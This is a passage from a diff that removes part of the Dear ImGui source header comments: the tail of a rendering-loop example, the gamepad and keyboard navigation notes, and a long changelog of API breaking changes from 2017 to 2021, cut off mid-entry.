draw_data->DisplayPos; - MyEngineScissor((int)(pcmd->ClipRect.x - pos.x), (int)(pcmd->ClipRect.y - pos.y), (int)(pcmd->ClipRect.z - pos.x), (int)(pcmd->ClipRect.w - pos.y)); - - // Render 'pcmd->ElemCount/3' indexed triangles. - // By default the indices ImDrawIdx are 16-bit, you can change them to 32-bit in imconfig.h if your engine doesn't support 16-bit indices. - MyEngineDrawIndexedTriangles(pcmd->ElemCount, sizeof(ImDrawIdx) == 2 ? GL_UNSIGNED_SHORT : GL_UNSIGNED_INT, idx_buffer, vtx_buffer); - } - idx_buffer += pcmd->ElemCount; - } - } - } - - - USING GAMEPAD/KEYBOARD NAVIGATION CONTROLS - ------------------------------------------ - - The gamepad/keyboard navigation is fairly functional and keeps being improved. - - Gamepad support is particularly useful to use Dear ImGui on a console system (e.g. PS4, Switch, XB1) without a mouse! - - You can ask questions and report issues at https://github.com/ocornut/imgui/issues/787 - - The initial focus was to support game controllers, but keyboard is becoming increasingly and decently usable. - - Keyboard: - - Set io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard to enable. - NewFrame() will automatically fill io.NavInputs[] based on your io.KeysDown[] + io.KeyMap[] arrays. - - When keyboard navigation is active (io.NavActive + ImGuiConfigFlags_NavEnableKeyboard), the io.WantCaptureKeyboard flag - will be set. For more advanced uses, you may want to read from: - - io.NavActive: true when a window is focused and it doesn't have the ImGuiWindowFlags_NoNavInputs flag set. - - io.NavVisible: true when the navigation cursor is visible (and usually goes false when mouse is used). - - or query focus information with e.g. IsWindowFocused(ImGuiFocusedFlags_AnyWindow), IsItemFocused() etc. functions. - Please reach out if you think the game vs navigation input sharing could be improved. - - Gamepad: - - Set io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad to enable. - - Backend: Set io.BackendFlags |= ImGuiBackendFlags_HasGamepad + fill the io.NavInputs[] fields before calling NewFrame(). - Note that io.NavInputs[] is cleared by EndFrame(). - - See 'enum ImGuiNavInput_' in imgui.h for a description of inputs. For each entry of io.NavInputs[], set the following values: - 0.0f= not held. 1.0f= fully held. Pass intermediate 0.0f..1.0f values for analog triggers/sticks. - - We uses a simple >0.0f test for activation testing, and won't attempt to test for a dead-zone. - Your code will probably need to transform your raw inputs (such as e.g. remapping your 0.2..0.9 raw input range to 0.0..1.0 imgui range, etc.). - - You can download PNG/PSD files depicting the gamepad controls for common controllers at: http://dearimgui.org/controls_sheets - - If you need to share inputs between your game and the imgui parts, the easiest approach is to go all-or-nothing, with a buttons combo - to toggle the target. Please reach out if you think the game vs navigation input sharing could be improved. - - Mouse: - - PS4 users: Consider emulating a mouse cursor with DualShock4 touch pad or a spare analog stick as a mouse-emulation fallback. - - Consoles/Tablet/Phone users: Consider using a Synergy 1.x server (on your PC) + uSynergy.c (on your console/tablet/phone app) to share your PC mouse/keyboard. - - On a TV/console system where readability may be lower or mouse inputs may be awkward, you may want to set the ImGuiConfigFlags_NavEnableSetMousePos flag. - Enabling ImGuiConfigFlags_NavEnableSetMousePos + ImGuiBackendFlags_HasSetMousePos instructs dear imgui to move your mouse cursor along with navigation movements. - When enabled, the NewFrame() function may alter 'io.MousePos' and set 'io.WantSetMousePos' to notify you that it wants the mouse cursor to be moved. - When that happens your backend NEEDS to move the OS or underlying mouse cursor on the next frame. Some of the backends in examples/ do that. - (If you set the NavEnableSetMousePos flag but don't honor 'io.WantSetMousePos' properly, imgui will misbehave as it will see your mouse as moving back and forth!) - (In a setup when you may not have easy control over the mouse cursor, e.g. uSynergy.c doesn't expose moving remote mouse cursor, you may want - to set a boolean to ignore your other external mouse positions until the external source is moved again.) - - - API BREAKING CHANGES - ==================== - - Occasionally introducing changes that are breaking the API. We try to make the breakage minor and easy to fix. - Below is a change-log of API breaking changes only. If you are using one of the functions listed, expect to have to fix some code. - When you are not sure about a old symbol or function name, try using the Search/Find function of your IDE to look for comments or references in all imgui files. - You can read releases logs https://github.com/ocornut/imgui/releases for more details. - - - 2021/03/10 (1.82) - upgraded ImDrawList::AddPolyline() and PathStroke() "bool closed" parameter to "ImDrawFlags flags". The matching ImDrawFlags_Closed value is guaranteed to always stay == 1 in the future. - - 2021/02/22 (1.82) - win32+mingw: Re-enabled IME functions by default even under MinGW. In July 2016, issue #738 had me incorrectly disable those default functions for MinGW. MinGW users should: either link with -limm32, either set their imconfig file with '#define IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS'. - - 2021/02/17 (1.82) - renamed rarely used style.CircleSegmentMaxError (old default = 1.60f) to style.CircleTessellationMaxError (new default = 0.30f) as the meaning of the value changed. - - 2021/02/03 (1.81) - renamed ListBoxHeader(const char* label, ImVec2 size) to BeginListBox(). Kept inline redirection function (will obsolete). - - removed ListBoxHeader(const char* label, int items_count, int height_in_items = -1) in favor of specifying size. Kept inline redirection function (will obsolete). - - renamed ListBoxFooter() to EndListBox(). Kept inline redirection function (will obsolete). - - 2021/01/26 (1.81) - removed ImGuiFreeType::BuildFontAtlas(). Kept inline redirection function. Prefer using '#define IMGUI_ENABLE_FREETYPE', but there's a runtime selection path available too. The shared extra flags parameters (very rarely used) are now stored in ImFontAtlas::FontBuilderFlags. - - renamed ImFontConfig::RasterizerFlags (used by FreeType) to ImFontConfig::FontBuilderFlags. - - renamed ImGuiFreeType::XXX flags to ImGuiFreeTypeBuilderFlags_XXX for consistency with other API. - - 2020/10/12 (1.80) - removed redirecting functions/enums that were marked obsolete in 1.63 (August 2018): - - ImGui::IsItemDeactivatedAfterChange() -> use ImGui::IsItemDeactivatedAfterEdit(). - - ImGuiCol_ModalWindowDarkening -> use ImGuiCol_ModalWindowDimBg - - ImGuiInputTextCallback -> use ImGuiTextEditCallback - - ImGuiInputTextCallbackData -> use ImGuiTextEditCallbackData - - 2020/12/21 (1.80) - renamed ImDrawList::AddBezierCurve() to AddBezierCubic(), and PathBezierCurveTo() to PathBezierCubicCurveTo(). Kept inline redirection function (will obsolete). - - 2020/12/04 (1.80) - added imgui_tables.cpp file! Manually constructed project files will need the new file added! - - 2020/11/18 (1.80) - renamed undocumented/internals ImGuiColumnsFlags_* to ImGuiOldColumnFlags_* in prevision of incoming Tables API. - - 2020/11/03 (1.80) - renamed io.ConfigWindowsMemoryCompactTimer to io.ConfigMemoryCompactTimer as the feature will apply to other data structures - - 2020/10/14 (1.80) - backends: moved all backends files (imgui_impl_XXXX.cpp, imgui_impl_XXXX.h) from examples/ to backends/. - - 2020/10/12 (1.80) - removed redirecting functions/enums that were marked obsolete in 1.60 (April 2018): - - io.RenderDrawListsFn pointer -> use ImGui::GetDrawData() value and call the render function of your backend - - ImGui::IsAnyWindowFocused() -> use ImGui::IsWindowFocused(ImGuiFocusedFlags_AnyWindow) - - ImGui::IsAnyWindowHovered() -> use ImGui::IsWindowHovered(ImGuiHoveredFlags_AnyWindow) - - ImGuiStyleVar_Count_ -> use ImGuiStyleVar_COUNT - - ImGuiMouseCursor_Count_ -> use ImGuiMouseCursor_COUNT - - removed redirecting functions names that were marked obsolete in 1.61 (May 2018): - - InputFloat (... int decimal_precision ...) -> use InputFloat (... const char* format ...) with format = "%.Xf" where X is your value for decimal_precision. - - same for InputFloat2()/InputFloat3()/InputFloat4() variants taking a `int decimal_precision` parameter. - - 2020/10/05 (1.79) - removed ImGuiListClipper: Renamed constructor parameters which created an ambiguous alternative to using the ImGuiListClipper::Begin() function, with misleading edge cases (note: imgui_memory_editor <0.40 from imgui_club/ used this old clipper API. Update your copy if needed). - - 2020/09/25 (1.79) - renamed ImGuiSliderFlags_ClampOnInput to ImGuiSliderFlags_AlwaysClamp. Kept redirection enum (will obsolete sooner because previous name was added recently). - - 2020/09/25 (1.79) - renamed style.TabMinWidthForUnselectedCloseButton to style.TabMinWidthForCloseButton. - - 2020/09/21 (1.79) - renamed OpenPopupContextItem() back to OpenPopupOnItemClick(), reverting the change from 1.77. For varieties of reason this is more self-explanatory. - - 2020/09/21 (1.79) - removed return value from OpenPopupOnItemClick() - returned true on mouse release on item - because it is inconsistent with other popup APIs and makes others misleading. It's also and unnecessary: you can use IsWindowAppearing() after BeginPopup() for a similar result. - - 2020/09/17 (1.79) - removed ImFont::DisplayOffset in favor of ImFontConfig::GlyphOffset. DisplayOffset was applied after scaling and not very meaningful/useful outside of being needed by the default ProggyClean font. If you scaled this value after calling AddFontDefault(), this is now done automatically. It was also getting in the way of better font scaling, so let's get rid of it now! - - 2020/08/17 (1.78) - obsoleted use of the trailing 'float power=1.0f' parameter for DragFloat(), DragFloat2(), DragFloat3(), DragFloat4(), DragFloatRange2(), DragScalar(), DragScalarN(), SliderFloat(), SliderFloat2(), SliderFloat3(), SliderFloat4(), SliderScalar(), SliderScalarN(), VSliderFloat() and VSliderScalar(). - replaced the 'float power=1.0f' argument with integer-based flags defaulting to 0 (as with all our flags). - worked out a backward-compatibility scheme so hopefully most C++ codebase should not be affected. in short, when calling those functions: - - if you omitted the 'power' parameter (likely!), you are not affected. - - if you set the 'power' parameter to 1.0f (same as previous default value): 1/ your compiler may warn on float>int conversion, 2/ everything else will work. 3/ you can replace the 1.0f value with 0 to fix the warning, and be technically correct. - - if you set the 'power' parameter to >1.0f (to enable non-linear editing): 1/ your compiler may warn on float>int conversion, 2/ code will assert at runtime, 3/ in case asserts are disabled, the code will not crash and enable the _Logarithmic flag. 4/ you can replace the >1.0f value with ImGuiSliderFlags_Logarithmic to fix the warning/assert and get a _similar_ effect as previous uses of power >1.0f. - see https://github.com/ocornut/imgui/issues/3361 for all details. - kept inline redirection functions (will obsolete) apart for: DragFloatRange2(), VSliderFloat(), VSliderScalar(). For those three the 'float power=1.0f' version were removed directly as they were most unlikely ever used. - for shared code, you can version check at compile-time with `#if IMGUI_VERSION_NUM >= 17704`. - - obsoleted use of v_min > v_max in DragInt, DragFloat, DragScalar to lock edits (introduced in 1.73, was not demoed nor documented very), will be replaced by a more generic ReadOnly feature. You may use the ImGuiSliderFlags_ReadOnly internal flag in the meantime. - - 2020/06/23 (1.77) - removed BeginPopupContextWindow(const char*, int mouse_button, bool also_over_items) in favor of BeginPopupContextWindow(const char*, ImGuiPopupFlags flags) with ImGuiPopupFlags_NoOverItems. - - 2020/06/15 (1.77) - renamed OpenPopupOnItemClick() to OpenPopupContextItem(). Kept inline redirection function (will obsolete). [NOTE: THIS WAS REVERTED IN 1.79] - - 2020/06/15 (1.77) - removed CalcItemRectClosestPoint() entry point which was made obsolete and asserting in December 2017. - - 2020/04/23 (1.77) - removed unnecessary ID (first arg) of ImFontAtlas::AddCustomRectRegular(). - - 2020/01/22 (1.75) - ImDrawList::AddCircle()/AddCircleFilled() functions don't accept negative radius any more. - - 2019/12/17 (1.75) - [undid this change in 1.76] made Columns() limited to 64 columns by asserting above that limit. While the current code technically supports it, future code may not so we're putting the restriction ahead. - - 2019/12/13 (1.75) - [imgui_internal.h] changed ImRect() default constructor initializes all fields to 0.0f instead of (FLT_MAX,FLT_MAX,-FLT_MAX,-FLT_MAX). If you used ImRect::Add() to create bounding boxes by adding multiple points into it, you may need to fix your initial value. - - 2019/12/08 (1.75) - removed redirecting functions/enums that were marked obsolete in 1.53 (December 2017): - - ShowTestWindow() -> use ShowDemoWindow() - - IsRootWindowFocused() -> use IsWindowFocused(ImGuiFocusedFlags_RootWindow) - - IsRootWindowOrAnyChildFocused() -> use IsWindowFocused(ImGuiFocusedFlags_RootAndChildWindows) - - SetNextWindowContentWidth(w) -> use SetNextWindowContentSize(ImVec2(w, 0.0f) - - GetItemsLineHeightWithSpacing() -> use GetFrameHeightWithSpacing() - - ImGuiCol_ChildWindowBg -> use ImGuiCol_ChildBg - - ImGuiStyleVar_ChildWindowRounding -> use ImGuiStyleVar_ChildRounding - - ImGuiTreeNodeFlags_AllowOverlapMode -> use ImGuiTreeNodeFlags_AllowItemOverlap - - IMGUI_DISABLE_TEST_WINDOWS -> use IMGUI_DISABLE_DEMO_WINDOWS - - 2019/12/08 (1.75) - obsoleted calling ImDrawList::PrimReserve() with a negative count (which was the vaguely documented and rarely if ever used). Instead we added an explicit PrimUnreserve() API. - - 2019/12/06 (1.75) - removed implicit default parameter to IsMouseDragging(int button = 0) to be consistent with other mouse functions (none of the other functions have it). - - 2019/11/21 (1.74) - ImFontAtlas::AddCustomRectRegular() now requires an ID larger than 0x110000 (instead of 0x10000) to conform with supporting Unicode planes 1-16 in a future update. ID below 0x110000 will now assert. - - 2019/11/19 (1.74) - renamed IMGUI_DISABLE_FORMAT_STRING_FUNCTIONS to IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS for consistency. - - 2019/11/19 (1.74) - renamed IMGUI_DISABLE_MATH_FUNCTIONS to IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS for consistency. - - 2019/10/22 (1.74) - removed redirecting functions/enums that were marked obsolete in 1.52 (October 2017): - - Begin() [old 5 args version] -> use Begin() [3 args], use SetNextWindowSize() SetNextWindowBgAlpha() if needed - - IsRootWindowOrAnyChildHovered() -> use IsWindowHovered(ImGuiHoveredFlags_RootAndChildWindows) - - AlignFirstTextHeightToWidgets() -> use AlignTextToFramePadding() - - SetNextWindowPosCenter() -> use SetNextWindowPos() with a pivot of (0.5f, 0.5f) - - ImFont::Glyph -> use ImFontGlyph - - 2019/10/14 (1.74) - inputs: Fixed a miscalculation in the keyboard/mouse "typematic" repeat delay/rate calculation, used by keys and e.g. repeating mouse buttons as well as the GetKeyPressedAmount() function. - if you were using a non-default value for io.KeyRepeatRate (previous default was 0.250), you can add +io.KeyRepeatDelay to it to compensate for the fix. - The function was triggering on: 0.0 and (delay+rate*N) where (N>=1). Fixed formula responds to (N>=0). Effectively it made io.KeyRepeatRate behave like it was set to (io.KeyRepeatRate + io.KeyRepeatDelay). - If you never altered io.KeyRepeatRate nor used GetKeyPressedAmount() this won't affect you. - - 2019/07/15 (1.72) - removed TreeAdvanceToLabelPos() which is rarely used and only does SetCursorPosX(GetCursorPosX() + GetTreeNodeToLabelSpacing()). Kept redirection function (will obsolete). - - 2019/07/12 (1.72) - renamed ImFontAtlas::CustomRect to ImFontAtlasCustomRect. Kept redirection typedef (will obsolete). - - 2019/06/14 (1.72) - removed redirecting functions/enums names that were marked obsolete in 1.51 (June 2017): ImGuiCol_Column*, ImGuiSetCond_*, IsItemHoveredRect(), IsPosHoveringAnyWindow(), IsMouseHoveringAnyWindow(), IsMouseHoveringWindow(), IMGUI_ONCE_UPON_A_FRAME. Grep this log for details and new names, or see how they were implemented until 1.71. - - 2019/06/07 (1.71) - rendering of child window outer decorations (bg color, border, scrollbars) is now performed as part of the parent window. If you have - overlapping child windows in a same parent, and relied on their relative z-order to be mapped to their submission order, this will affect your rendering. - This optimization is disabled if the parent window has no visual output, because it appears to be the most common situation leading to the creation of overlapping child windows. - Please reach out if you are affected. - - 2019/05/13 (1.71) - renamed SetNextTreeNodeOpen() to SetNextItemOpen(). Kept inline redirection function (will obsolete). - - 2019/05/11 (1.71) - changed io.AddInputCharacter(unsigned short c) signature to io.AddInputCharacter(unsigned int c). - - 2019/04/29 (1.70) - improved ImDrawList thick strokes (>1.0f) preserving correct thickness up to 90 degrees angles (e.g. rectangles). If you have custom rendering using thick lines, they will appear thicker now. - - 2019/04/29 (1.70) - removed GetContentRegionAvailWidth(), use GetContentRegionAvail().x instead. Kept inline redirection function (will obsolete). - - 2019/03/04 (1.69) - renamed GetOverlayDrawList() to GetForegroundDrawList(). Kept redirection function (will obsolete). - - 2019/02/26 (1.69) - renamed ImGuiColorEditFlags_RGB/ImGuiColorEditFlags_HSV/ImGuiColorEditFlags_HEX to ImGuiColorEditFlags_DisplayRGB/ImGuiColorEditFlags_DisplayHSV/ImGuiColorEditFlags_DisplayHex. Kept redirection enums (will obsolete). - - 2019/02/14 (1.68) - made it illegal/assert when io.DisplayTime == 0.0f (with an exception for the first frame). If for some reason your time step calculation gives you a zero value, replace it with an arbitrary small value! - - 2019/02/01 (1.68) - removed io.DisplayVisibleMin/DisplayVisibleMax (which were marked obsolete and removed from viewport/docking branch already). - - 2019/01/06 (1.67) - renamed io.InputCharacters[], marked internal as was always intended. Please don't access directly, and use AddInputCharacter() instead! - - 2019/01/06 (1.67) - renamed ImFontAtlas::GlyphRangesBuilder to ImFontGlyphRangesBuilder. Kept redirection typedef (will obsolete). - - 2018/12/20 (1.67) - made it illegal to call Begin("") with an empty string. This somehow half-worked before but had various undesirable side-effects. - - 2018/12/10 (1.67) - renamed io.ConfigResizeWindowsFromEdges to io.ConfigWindowsResizeFromEdges as we are doing a large pass on configuration flags. - - 2018/10/12 (1.66) - renamed misc/stl/imgui_stl.* to misc/cpp/imgui_stdlib.* in prevision for other C++ helper files. - - 2018/09/28 (1.66) - renamed SetScrollHere() to SetScrollHereY(). Kept redirection function (will obsolete). - - 2018/09/06 (1.65) - renamed stb_truetype.h to imstb_truetype.h, stb_textedit.h to imstb_textedit.h, and stb_rect_pack.h to imstb_rectpack.h. - If you were conveniently using the imgui copy of those STB headers in your project you will have to update your include paths. - - 2018/09/05 (1.65) - renamed io.OptCursorBlink/io.ConfigCursorBlink to io.ConfigInputTextCursorBlink. (#1427) - - 2018/08/31 (1.64) - added imgui_widgets.cpp file, extracted and moved widgets code out of imgui.cpp into imgui_widgets.cpp. Re-ordered some of the code remaining in imgui.cpp. - NONE OF THE FUNCTIONS HAVE CHANGED. THE CODE IS SEMANTICALLY 100% IDENTICAL, BUT _EVERY_ FUNCTION HAS BEEN MOVED. - Because of this, any local modifications to imgui.cpp will likely conflict when you update. Read docs/CHANGELOG.txt for suggestions. - - 2018/08/22 (1.63) - renamed IsItemDeactivatedAfterChange() to IsItemDeactivatedAfterEdit() for consistency with new IsItemEdited() API. Kept redirection function (will obsolete soonish as IsItemDeactivatedAfterChange() is very recent). - - 2018/08/21 (1.63) - renamed ImGuiTextEditCallback to ImGuiInputTextCallback, ImGuiTextEditCallbackData to ImGuiInputTextCallbackData for consistency. Kept redirection types (will obsolete). - - 2018/08/21 (1.63) - removed ImGuiInputTextCallbackData::ReadOnly since it is a duplication of (ImGuiInputTextCallbackData::Flags & ImGuiInputTextFlags_ReadOnly). - - 2018/08/01 (1.63) - removed per-window ImGuiWindowFlags_ResizeFromAnySide beta flag in favor of a global io.ConfigResizeWindowsFromEdges [update 1.67 renamed to ConfigWindowsResizeFromEdges] to enable the feature. - - 2018/08/01 (1.63) - renamed io.OptCursorBlink to io.ConfigCursorBlink [-> io.ConfigInputTextCursorBlink in 1.65], io.OptMacOSXBehaviors to ConfigMacOSXBehaviors for consistency. - - 2018/07/22 (1.63) - changed ImGui::GetTime() return value from float to double to avoid accumulating floating point imprecisions over time. - - 2018/07/08 (1.63) - style: renamed ImGuiCol_ModalWindowDarkening to ImGuiCol_ModalWindowDimBg for consistency with other features. Kept redirection enum (will obsolete). - - 2018/06/08 (1.62) - examples: the imgui_impl_XXX files have been split to separate platform (Win32, GLFW, SDL2, etc.) from renderer (DX11, OpenGL, Vulkan, etc.). - old backends will still work as is, however prefer using the separated backends as they will be updated to support multi-viewports. - when adopting new backends follow the main.cpp code of your preferred examples/ folder to know which functions to call. - in particular, note that old backends called ImGui::NewFrame() at the end of their ImGui_ImplXXXX_NewFrame() function. - - 2018/06/06 (1.62) - renamed GetGlyphRangesChinese() to GetGlyphRangesChineseFull() to distinguish other variants and discourage using the full set. - - 2018/06/06 (1.62) - TreeNodeEx()/TreeNodeBehavior(): the ImGuiTreeNodeFlags_CollapsingHeader helper now include the ImGuiTreeNodeFlags_NoTreePushOnOpen flag. See Changelog for details. - - 2018/05/03 (1.61) - DragInt(): the default compile-time format string has been changed from "%.0f" to "%d", as we are not using integers internally any more. - If you used DragInt() with custom format strings, make sure you change them to use %d or an integer-compatible format. - To honor backward-compatibility, the DragInt() code will currently parse and modify format strings to replace %*f with %d, giving time to users to upgrade their code. - If you have IMGUI_DISABLE_OBSOLETE_FUNCTIONS enabled, the code will instead assert! You may run a reg-exp search on your codebase for e.g. "DragInt.*%f" to help you find them. - - 2018/04/28 (1.61) - obsoleted InputFloat() functions taking an optional "int decimal_precision" in favor of an equivalent and more flexible "const char* format", - consistent with other functions. Kept redirection functions (will obsolete). - - 2018/04/09 (1.61) - IM_DELETE() helper function added in 1.60 doesn't clear the input _pointer_ reference, more consistent with expectation and allows passing r-value. - - 2018/03/20 (1.60) - renamed io.WantMoveMouse to io.WantSetMousePos for consistency and ease of understanding (was added in 1.52, _not_ used by core and only honored by some backend ahead of merging the Nav branch). - - 2018/03/12 (1.60) - removed ImGuiCol_CloseButton, ImGuiCol_CloseButtonActive, ImGuiCol_CloseButtonHovered as the closing cross uses regular button colors now. - - 2018/03/08 (1.60) - changed ImFont::DisplayOffset.y to default to 0 instead of +1. Fixed rounding of Ascent/Descent to match TrueType renderer. If you were adding or subtracting to ImFont::DisplayOffset check if your fonts are correctly aligned vertically. - - 2018/03/03 (1.60) - renamed ImGuiStyleVar_Count_ to ImGuiStyleVar_COUNT and ImGuiMouseCursor_Count_ to ImGuiMouseCursor_COUNT for consistency with other public enums. - - 2018/02/18 (1.60) - BeginDragDropSource(): temporarily removed the optional mouse_button=0 parameter because it is not really usable in many situations at the moment. - - 2018/02/16 (1.60) - obsoleted the io.RenderDrawListsFn callback, you can call your graphics engine render function after ImGui::Render(). Use ImGui::GetDrawData() to retrieve the ImDrawData* to display. - - 2018/02/07 (1.60) - reorganized context handling to be more explicit, - - YOU NOW NEED TO CALL ImGui::CreateContext() AT THE BEGINNING OF YOUR APP, AND CALL ImGui::DestroyContext() AT THE END. - - removed Shutdown() function, as DestroyContext() serve this purpose. - - you may pass a ImFontAtlas* pointer to CreateContext() to share a font atlas between contexts. Otherwise CreateContext() will create its own font atlas instance. - - removed allocator parameters from CreateContext(), they are now setup with SetAllocatorFunctions(), and shared by all contexts. - - removed the default global context and font atlas instance, which were confusing for users of DLL reloading and users of multiple contexts. - - 2018/01/31 (1.60) - moved sample TTF files from extra_fonts/ to misc/fonts/. If you loaded files directly from the imgui repo you may need to update your paths. - - 2018/01/11 (1.60) - obsoleted IsAnyWindowHovered() in favor of IsWindowHovered(ImGuiHoveredFlags_AnyWindow). Kept redirection function (will obsolete). - - 2018/01/11 (1.60) - obsoleted IsAnyWindowFocused() in favor of IsWindowFocused(ImGuiFocusedFlags_AnyWindow). Kept redirection function (will obsolete). - - 2018/01/03 (1.60) - renamed ImGuiSizeConstraintCallback to ImGuiSizeCallback, ImGuiSizeConstraintCallbackData to ImGuiSizeCallbackData. - - 2017/12/29 (1.60) - removed CalcItemRectClosestPoint() which was weird and not really used by anyone except demo code. If you need it it's easy to replicate on your side. - - 2017/12/24 (1.53) - renamed the emblematic ShowTestWindow() function to ShowDemoWindow(). Kept redirection function (will obsolete). - - 2017/12/21 (1.53) - ImDrawList: renamed style.AntiAliasedShapes to style.AntiAliasedFill for consistency and as a way to explicitly break code that manipulate those flag at runtime. You can now manipulate ImDrawList::Flags - - 2017/12/21 (1.53) - ImDrawList: removed 'bool anti_aliased = true' final parameter of ImDrawList::AddPolyline() and ImDrawList::AddConvexPolyFilled(). Prefer manipulating ImDrawList::Flags if you need to toggle them during the frame. - - 2017/12/14 (1.53) - using the ImGuiWindowFlags_NoScrollWithMouse flag on a child window forwards the mouse wheel event to the parent window, unless either ImGuiWindowFlags_NoInputs or ImGuiWindowFlags_NoScrollbar are also set. - - 2017/12/13 (1.53) - renamed GetItemsLineHeightWithSpacing() to GetFrameHeightWithSpacing(). Kept redirection function (will obsolete). - - 2017/12/13 (1.53) - obsoleted IsRootWindowFocused() in favor of using IsWindowFocused(ImGuiFocusedFlags_RootWindow). Kept redirection function (will obsolete). - - obsoleted IsRootWindowOrAnyChildFocused() in favor of using IsWindowFocused(ImGuiFocusedFlags_RootAndChildWindows). Kept redirection function (will obsolete). - - 2017/12/12 (1.53) - renamed ImGuiTreeNodeFlags_AllowOverlapMode to ImGuiTreeNodeFlags_AllowItemOverlap. Kept redirection enum (will obsolete). - - 2017/12/10 (1.53) - removed SetNextWindowContentWidth(), prefer using SetNextWindowContentSize(). Kept redirection function (will obsolete). - - 2017/11/27 (1.53) - renamed ImGuiTextBuffer::append() helper to appendf(), appendv() to appendfv(). If you copied the 'Log' demo in your code, it uses appendv() so that needs to be renamed. - - 2017/11/18 (1.53) - Style, Begin: removed ImGuiWindowFlags_ShowBorders window flag. Borders are now fully set up in the ImGuiStyle structure (see e.g. style.FrameBorderSize, style.WindowBorderSize). Use ImGui::ShowStyleEditor() to look them up. - Please note that the style system will keep evolving (hopefully stabilizing in Q1 2018), and so custom styles will probably subtly break over time. It is recommended you use the StyleColorsClassic(), StyleColorsDark(), StyleColorsLight() functions. - - 2017/11/18 (1.53) - Style: removed ImGuiCol_ComboBg in favor of combo boxes using ImGuiCol_PopupBg for consistency. - - 2017/11/18 (1.53) - Style: renamed ImGuiCol_ChildWindowBg to ImGuiCol_ChildBg. - - 2017/11/18 (1.53) - Style: renamed style.ChildWindowRounding to style.ChildRounding, ImGuiStyleVar_ChildWindowRounding to ImGuiStyleVar_ChildRounding. - - 2017/11/02 (1.53) - obsoleted IsRootWindowOrAnyChildHovered() in favor of using IsWindowHovered(ImGuiHoveredFlags_RootAndChildWindows); - - 2017/10/24 (1.52) - renamed IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCS/IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCS to IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS/IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS for consistency. - - 2017/10/20 (1.52) - changed IsWindowHovered() default parameters behavior to return false if an item is active in another window (e.g. click-dragging item from another window to this window). You can use the newly introduced IsWindowHovered() flags to requests this specific behavior if you need it. - - 2017/10/20 (1.52) - marked IsItemHoveredRect()/IsMouseHoveringWindow() as obsolete, in favor of using the newly introduced flags for IsItemHovered() and IsWindowHovered(). See https://github.com/ocornut/imgui/issues/1382 for details. - removed the IsItemRectHovered()/IsWindowRectHovered() names introduced in 1.51 since they were merely more consistent names for the two functions we are now obsoleting. - IsItemHoveredRect() --> IsItemHovered(ImGuiHoveredFlags_RectOnly) - IsMouseHoveringAnyWindow() --> IsWindowHovered(ImGuiHoveredFlags_AnyWindow) - IsMouseHoveringWindow() --> IsWindowHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup | ImGuiHoveredFlags_AllowWhenBlockedByActiveItem) [weird, old behavior] - - 2017/10/17 (1.52) - marked the old 5-parameters version of Begin() as obsolete (still available). Use SetNextWindowSize()+Begin() instead! - - 2017/10/11 (1.52) - renamed AlignFirstTextHeightToWidgets() to AlignTextToFramePadding(). Kept inline redirection function (will obsolete). - - 2017/09/26 (1.52) - renamed ImFont::Glyph to ImFontGlyph. Kept redirection typedef (will obsolete). - - 2017/09/25 (1.52) - removed SetNextWindowPosCenter() because SetNextWindowPos() now has the optional pivot information to do the same and more. Kept redirection function (will obsolete). - - 2017/08/25 (1.52) - io.MousePos needs to be set to ImVec2(-FLT_MAX,-FLT_MAX) when mouse is unavailable/missing. Previously ImVec2(-1,-1) was enough but we now accept negative mouse coordinates. In your backend if you need to support unavailable mouse, make sure to replace "io.MousePos = ImVec2(-1,-1)" with "io.MousePos = ImVec2(-FLT_MAX,-FLT_MAX)". - - 2017/08/22 (1.51) - renamed IsItemHoveredRect() to IsItemRectHovered(). Kept inline redirection function (will obsolete). -> (1.52) use IsItemHovered(ImGuiHoveredFlags_RectOnly)! - - renamed IsMouseHoveringAnyWindow() to IsAnyWindowHovered() for consistency. Kept inline redirection function (will obsolete). - - renamed IsMouseHoveringWindow() to IsWindowRectHovered() for consistency. Kept inline redirection function (will obsolete). - - 2017/08/20 (1.51) - renamed GetStyleColName() to GetStyleColorName() for consistency. - - 2017/08/20 (1.51) - added PushStyleColor(ImGuiCol idx, ImU32 col) overload, which _might_ cause an "ambiguous call" compilation error if you are using ImColor() with implicit cast. Cast to ImU32 or ImVec4 explicily to fix. - - 2017/08/15 (1.51) - marked the weird IMGUI_ONCE_UPON_A_FRAME helper macro as obsolete. prefer using the more explicit ImGuiOnceUponAFrame type. - - 2017/08/15 (1.51) - changed parameter order for BeginPopupContextWindow() from (const char*,int buttons,bool also_over_items) to (const char*,int buttons,bool also_over_items). Note that most calls relied on default parameters completely. - - 2017/08/13 (1.51) - renamed ImGuiCol_Column to ImGuiCol_Separator, ImGuiCol_ColumnHovered to ImGuiCol_SeparatorHovered, ImGuiCol_ColumnActive to ImGuiCol_SeparatorActive. Kept redirection enums (will obsolete). - - 2017/08/11 (1.51) - renamed ImGuiSetCond_Always to ImGuiCond_Always, ImGuiSetCond_Once to ImGuiCond_Once, ImGuiSetCond_FirstUseEver to ImGuiCond_FirstUseEver, ImGuiSetCond_Appearing to ImGuiCond_Appearing. Kept redirection enums (will obsolete). - - 2017/08/09 (1.51) - removed ValueColor() helpers, they are equivalent to calling Text(label) + SameLine() + ColorButton(). - - 2017/08/08 (1.51) - removed ColorEditMode() and ImGuiColorEditMode in favor of ImGuiColorEditFlags and parameters to the various Color*() functions. The SetColorEditOptions() allows to initialize default but the user can still change them with right-click context menu. - - changed prototype of 'ColorEdit4(const char* label, float col[4], bool show_alpha = true)' to 'ColorEdit4(const char* label, float col[4], ImGuiColorEditFlags flags = 0)', where passing flags = 0x01 is a safe no-op (hello dodgy backward compatibility!). - check and run the demo window, under "Color/Picker Widgets", to understand the various new options. - - changed prototype of rarely used 'ColorButton(ImVec4 col, bool small_height = false, bool outline_border = true)' to 'ColorButton(const char* desc_id, ImVec4 col, ImGuiColorEditFlags flags = 0, ImVec2 size = ImVec2(0, 0))' - - 2017/07/20 (1.51) - removed IsPosHoveringAnyWindow(ImVec2), which was partly broken and misleading. ASSERT + redirect user to io.WantCaptureMouse - - 2017/05/26 (1.50) - removed 